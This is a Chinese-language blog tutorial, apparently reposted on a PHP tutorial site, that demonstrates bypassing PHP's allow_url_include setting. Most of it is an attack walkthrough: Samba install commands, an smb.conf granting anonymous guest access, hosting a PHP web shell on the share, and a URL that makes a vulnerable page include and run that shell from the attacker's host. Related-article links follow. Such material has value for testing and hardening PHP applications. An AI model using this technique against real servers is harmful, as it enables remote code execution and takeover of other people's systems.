使用SMB共享來繞過php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用
在這篇博文中,我將為大家演示如何利用PHP應(yīng)用中的遠(yuǎn)程文件包含漏洞的技術(shù)。我們將繞過php遠(yuǎn)程文件包含的限制,并執(zhí)行RFI的利用,即使PHP環(huán)境被配置為不包含來自遠(yuǎn)程HTTP/FTP URL的文件。
PHP 和 SMB 共享文件訪問
在PHP配置文件中,“allow_url_include”wrapper默認(rèn)設(shè)置為“Off”,指示PHP不加載遠(yuǎn)程HTTP或FTP URL,從而防止遠(yuǎn)程文件包含攻擊。但是,即使“allow_url_include”和“allow_url_fopen”都設(shè)置為“Off”,PHP也不會(huì)阻止加載SMB URL。而這就極有可能被濫用來從SMB共享加載遠(yuǎn)程托管的PHP Web shell。
攻擊場(chǎng)景概述
當(dāng)易受攻擊的PHP應(yīng)用程序代碼嘗試從受攻擊者控制的SMB共享加載PHP Web shell時(shí),SMB共享應(yīng)允許訪問該文件。攻擊者需要在其上配置具有匿名瀏覽訪問權(quán)限的SMB服務(wù)器。因此,一旦易受攻擊的應(yīng)用程序嘗試從SMB共享訪問PHP Web shell,SMB服務(wù)器將不會(huì)要求任何的憑據(jù),易受攻擊的應(yīng)用程序?qū)琖eb shell的PHP代碼。
首先,我重新配置了PHP環(huán)境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名瀏覽訪問的SMB服務(wù)器。一旦SMB共享準(zhǔn)備就緒,我們就可以利用易受攻擊的應(yīng)用程序了。
PHP 環(huán)境設(shè)置
將托管易受攻擊代碼的機(jī)器上的“allow_url_fopen”和“allow_url_include”設(shè)置為“Off”
以下是版本為“5.5.11”的PHP當(dāng)前配置截圖:
在繼續(xù)下一步之前,讓我們確保當(dāng)我們嘗試訪問HTTP上托管的Web shell時(shí),PHP代碼不允許遠(yuǎn)程文件包含。
可以看到,當(dāng)我試圖從遠(yuǎn)程主機(jī)包含PHP Web shell時(shí),應(yīng)用程序拋出錯(cuò)誤并且沒有包含遠(yuǎn)程文件。
使用匿名瀏覽訪問配置 Samba 服務(wù)器(Linux 機(jī)器)
使用以下命令安裝Samba服務(wù)器:
apt-get install samba創(chuàng)建SMB共享目錄:
mkdir /var/www/html/pub/
配置新創(chuàng)建的SMB共享目錄的權(quán)限:
chmod 0555 /var/www/html/pub/ chown -R nobody:nogroup /var/www/html/pub/
運(yùn)行以下命令,刪除SAMBA服務(wù)器配置文件的默認(rèn)內(nèi)容。
echo > /etc/samba/smb.conf將以下內(nèi)容添加到/etc/samba/smb.conf文件。
[global] workgroup = WORKGROUP server string = Samba Server %v netbios name = indishell-lab security = user map to guest = bad user name resolve order = bcast host dns proxy = no bind interfaces only = yes [ica] path = /var/www/html/pub writable = no guest ok = yes guest only = yes read only = yes directory mode = 0555
force user = nobody現(xiàn)在,重啟SAMBA服務(wù)器以使配置文件/etc/samba/smb.conf中的新配置生效。
service smbd restart成功重啟SAMBA服務(wù)器后,嘗試訪問SMB共享并確保SAMBA服務(wù)器不要求提供憑據(jù)。
在本例中,SAMBA服務(wù)器IP為192.168.0.3,我需要訪問Windows文件瀏覽器中的SMB共享,如下:
在 SMB 共享中托管 PHP Web shell
太棒了!可以訪問smb共享,并顯示目錄“ica”存在。
現(xiàn)在,將PHP shell托管在目錄“/var/www/html/pub”中,該目錄為smb共享目錄“ica”。
成功托管PHP shell后,我們使用Windows文件瀏覽器訪問SMB共享目錄“ica”。
\\192.168.0.3\ica\可以看到php shell存在于smb共享目錄中,在本例中為box.php文件。
利用文件包含易受攻擊的參數(shù)
讓我們使用這個(gè)PHP shell SMB鏈接,以及易受攻擊的php代碼瀏覽它。
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻擊的代碼從SMB共享中獲取了web shell,并在應(yīng)用程序服務(wù)器上執(zhí)行了代碼\m/。我們已經(jīng)繞過了php遠(yuǎn)程文件包含的限制,并包含了托管在遠(yuǎn)程主機(jī)上的Web shell。
總結(jié)
以上所述是小編給大家介紹的使用SMB共享來繞過php遠(yuǎn)程文件包含的限制執(zhí)行RFI的利用,希望對(duì)大家有所幫助,如果大家有任何疑問請(qǐng)給我留言,小編會(huì)及時(shí)回復(fù)大家的。在此也非常感謝大家對(duì)腳本之家網(wǎng)站的支持!
相關(guān)文章
SQL注入寬字節(jié)注入由淺到深學(xué)習(xí)
這篇文章主要為大家介紹了SQL注入寬字節(jié)注入由淺到深學(xué)習(xí),有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪2023-02-02
PHP實(shí)現(xiàn)AJAX動(dòng)態(tài)網(wǎng)頁及相關(guān)函數(shù)詳解
ajax其實(shí)是利用javascript向服務(wù)器請(qǐng)求數(shù)據(jù),然后局部修改頁面,下面這篇文章主要給大家介紹了關(guān)于PHP實(shí)現(xiàn)AJAX動(dòng)態(tài)網(wǎng)頁及相關(guān)函數(shù)的相關(guān)資料,文中通過實(shí)例代碼介紹的非常詳細(xì),需要的朋友可以參考下2022-08-08
php二維數(shù)組按某個(gè)鍵值排序的實(shí)例講解
今天小編就為大家分享一篇關(guān)于php二維數(shù)組按某個(gè)鍵值排序的實(shí)例講解,小編覺得內(nèi)容挺不錯(cuò)的,現(xiàn)在分享給大家,具有很好的參考價(jià)值,需要的朋友一起跟隨小編來看看吧2019-02-02
在Laravel 的 Blade 模版中實(shí)現(xiàn)定義變量
今天小編就為大家分享一篇在Laravel 的 Blade 模版中實(shí)現(xiàn)定義變量,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過來看看吧2019-10-10
ThinkPHP入口文件設(shè)置及相關(guān)注意事項(xiàng)分析
這篇文章主要介紹了ThinkPHP入口文件設(shè)置及相關(guān)注意事項(xiàng),以注釋的形式詳細(xì)分析了入口文件設(shè)置時(shí)相關(guān)設(shè)置項(xiàng)的含義與設(shè)置技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下2014-12-12
CodeIgniter框架實(shí)現(xiàn)的整合Smarty引擎DEMO示例
這篇文章主要介紹了CodeIgniter框架實(shí)現(xiàn)的整合Smarty引擎DEMO,結(jié)合實(shí)例形式分析了CodeIgniter框架整合Smarty引擎的原理、操作步驟及相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下2019-03-03
搭建PhpStorm+PhpStudy開發(fā)環(huán)境的超詳細(xì)教程
這篇文章主要介紹了搭建PhpStorm+PhpStudy開發(fā)環(huán)境的超詳細(xì)教程,本文給大家介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或工作具有一定的參考借鑒價(jià)值,需要的朋友可以參考下2020-09-09
CodeIgniter實(shí)現(xiàn)更改view文件夾路徑的方法
這篇文章主要介紹了CodeIgniter實(shí)現(xiàn)更改view文件夾路徑的方法,需要的朋友可以參考下2014-07-07

